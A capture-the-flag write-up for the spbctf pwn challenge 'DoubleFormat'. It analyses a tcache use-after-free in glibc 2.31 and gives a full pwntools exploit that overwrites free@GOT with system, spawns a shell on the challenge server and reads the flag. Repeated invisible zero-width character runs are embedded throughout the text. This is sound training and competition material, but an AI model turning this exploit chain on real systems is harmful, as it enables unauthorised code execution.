← Back to Writeups
CUSTOMMediumpwn

DoubleFormat

XESXOR9/2/20265 min read
#pwn#custom#medium#fgets_size_control#got_overwrite_via_arbitrary_wr#tcache_bin_overlap#uaf_struct_alias#linux

DoubleFormat

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fgets_size_control, got_overwrite_via_arbitrary_write, tcache_bin_overlap, uaf_struct_alias

Summary

Task: heap exploitation binary with UAF in two allocation types (simple chunks and struct chunks) sharing the same tcache bin, Partial RELRO, glibc 2.31, PIE/system leaked at startup. Solution: UAF struct-alias to overwrite struct's ptr/size fields, then arbitrary write system to free@GOT via fgets with careful size control to avoid newline corruption.

DoubleFormat — spbctf

Description

DF for beginners

Heap exploitation challenge. Binary df.elf (ELF 64-bit PIE, Partial RELRO, NX, Canary, glibc 2.31). Connect via nc 109.233.56.90 11598.

The binary provides two arrays of heap allocations (A and B) with add/mod/read/delete operations. Both have use-after-free vulnerabilities. The goal is to exploit the UAF to get a shell and read the flag.

Analysis

Binary protections

  • PIE enabled (but base leaked at startup)
  • Partial RELRO — GOT is writable
  • NX — no shellcode on stack/heap
  • Canary — stack canary present
  • glibc 2.31 (Ubuntu 20.04) — no safe-linking in tcache, __free_hook exists ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Startup leak

The binary prints Main at %p, system at %p\n on startup, directly leaking:

  • PIE base: main_addr - 0x11c9
  • libc system address

Data structures

  • Array A (as[10] at PIE+0x40c0): Simple chunks. addA mallocs 0x10 bytes (→ 0x20 chunk), reads via fgets(chunk, 0x10, stdin).
  • Array B (bs[10] at PIE+0x4120): Struct chunks. addB mallocs 0x10 for struct{char *ptr; int size}, then mallocs size bytes for inner buffer, reads into inner via fgets.

Critical observation: Both A chunks (0x20) and B struct chunks (0x20) land in the same tcache[0x20] bin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Both delA and delB free chunks without nulling the pointer — classic use-after-free. Since A chunks and B struct chunks share the same tcache bin size, freeing a B struct and then allocating an A chunk returns the B struct's memory. This allows overwriting the struct's ptr and size fields, creating arbitrary read/write primitives via readB/modB.

Why simpler approaches failed

  1. Tcache poison to return fake GOT chunk: tcache_get in glibc 2.31 writes e->key = NULL at chunk+8, which corrupts the adjacent GOT entry (e.g., returning free_got as a chunk corrupts puts@got at offset +8). Crashes before the write takes effect. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. __free_hook = system: Crashed due to movaps stack alignment — system called from deep inside free's call chain had misaligned RSP (needs 16-byte alignment).

  3. __free_hook = one_gadget: All three one_gadgets (0xe6aee, 0xe6af1, 0xe6af4) failed due to register constraints not being met.

  4. sendline for GOT write: fgets stores the \n delimiter character in the buffer. Using sendline (which appends \n) causes fgets to store newline at byte 6, corrupting free@got with 0x0a instead of 0x00. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Phase 1: Leak (free)

Startup gives PIE base and system address. Compute free@got = pie_base + 0x4018.

Phase 2: UAF struct-alias for arbitrary write primitive

  1. addB(0, 0x18, "AAAA") — creates struct0 (0x20 chunk) + inner0 (0x20 chunk, size=0x18)
  2. delB(0) — frees inner0 then struct0 into tcache[0x20]. bs[0] still points to freed struct0 (UAF)
  3. addA(0, p64(free_got) + p32(7)) — pops struct0 from tcache as an A chunk, overwrites struct0's fields: ptr = free_got, size = 7 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Now bs[0]->ptr points to free@got and bs[0]->size = 7.

Phase 3: GOT overwrite via modB

  1. modB(0) with io.send(p64(system)[:6]) — NO newline!

fgets(free_got, 7, stdin) reads up to 6 bytes (size-1), appends NUL at offset 6. By using send() without newline and size=7, fgets reads exactly 6 bytes of the system address, then NUL-terminates at byte 6. This writes system correctly (libc addresses are 6 bytes on x86-64) without corrupting adjacent puts@got at free_got+8.

Phase 4: Trigger shell

  1. addA(1, "/bin/sh") — allocate chunk containing "/bin/sh"
  2. delA(1) — free(as[1]) → free@plt → free@got = system → system("/bin/sh") → shell! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
"""DoubleFormat exploit: UAF struct-alias -> arbitrary write via modB -> free@got=system -> shell"""
from pwn import *
import sys, re, time

context.arch = 'amd64'
context.log_level = 'info'

HOST, PORT = '109.233.56.90', 11598

def start():
    if len(sys.argv) > 1 and sys.argv[1] == 'local':
        return process('./df.elf')
    return remote(HOST, PORT)

def main():
    io = start()
    first = io.recvline()
    log.info(first.decode(errors='replace').strip())
    pie = int(first.split(b'Main at ')[1].split(b',')[0], 16) - 0x11c9
    system = int(first.split(b'system at ')[1], 16)
    free_got = pie + 0x4018
    log.success(f'pie={hex(pie)} system={hex(system)} free_got={hex(free_got)}')
    io.recvuntil(b'command')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def addA(i, v):
        io.sendline(b'addA'); io.recvuntil(b'number for A'); io.sendline(str(i).encode())
        io.recvuntil(b'value for cell'); io.sendline(v); io.recvuntil(b'command')
    def addB(i, size, v):
        io.sendline(b'addB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode())
        io.recvuntil(b'size for cell'); io.sendline(str(size).encode())
        io.recvuntil(b'value for cell'); io.sendline(v); io.recvuntil(b'command')
    def modB_raw(i, data):
        """modB but use send() instead of sendline() to avoid trailing newline"""
        io.sendline(b'modB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode())
        io.recvuntil(b'value for cell')
        io.send(data)  # NO newline! fgets will read exactly len(data) bytes if len < size
    def delB(i):
        io.sendline(b'delB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode()); io.recvuntil(b'command')
    def delA(i):
        io.sendline(b'delA'); io.recvuntil(b'number for A'); io.sendline(str(i).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Phase 1: struct-alias to get arbitrary write
    # addB(0, size=0x18) creates struct0(0x20) + inner0(0x20)
    addB(0, 0x18, b'AAAA')
    delB(0)  # tcache[0x20]: struct0 -> inner0. bs[0] = struct0 (UAF)
    
    # Pop struct0 as A chunk, rewrite: ptr=free_got, size=7
    # fgets(free_got, 7, stdin) reads up to 6 bytes (no newline needed)
    addA(0, p64(free_got) + p32(7))  # struct0->ptr=free_got, struct0->size=7

    # Phase 2: write system to free@got via modB
    # Send exactly 6 bytes (system[:6]) without newline.
    # fgets(free_got, 7) reads 6 bytes, appends NUL at offset 6.
    # free_got[0:6]=system, [6]=NUL, [7]=untouched(0). puts@got at [8] safe.
    modB_raw(0, p64(system)[:6])
    # Wait for fgets to consume the 6 bytes and return
    time.sleep(0.5)
    # Now we need to consume the "Enter command" prompt that follows
    io.recvuntil(b'command')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Phase 3: trigger free("/bin/sh") -> system("/bin/sh")
    addA(1, b'/bin/sh')
    delA(1)

    time.sleep(1)
    io.sendline(b'echo ===SHELL===; id; cat flag* /flag* /home/*/flag* 2>/dev/null; ls -la')
    time.sleep(2)
    data = io.recvrepeat(3)
    result = data.decode(errors='replace')
    print(result)
    m = re.search(rb'[A-Za-z0-9_]{2,}\{[^}]+\}', data)
    if m:
        log.success('FLAG: ' + m.group().decode())
    try:
        io.interactive()
    except Exception:
        pass

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍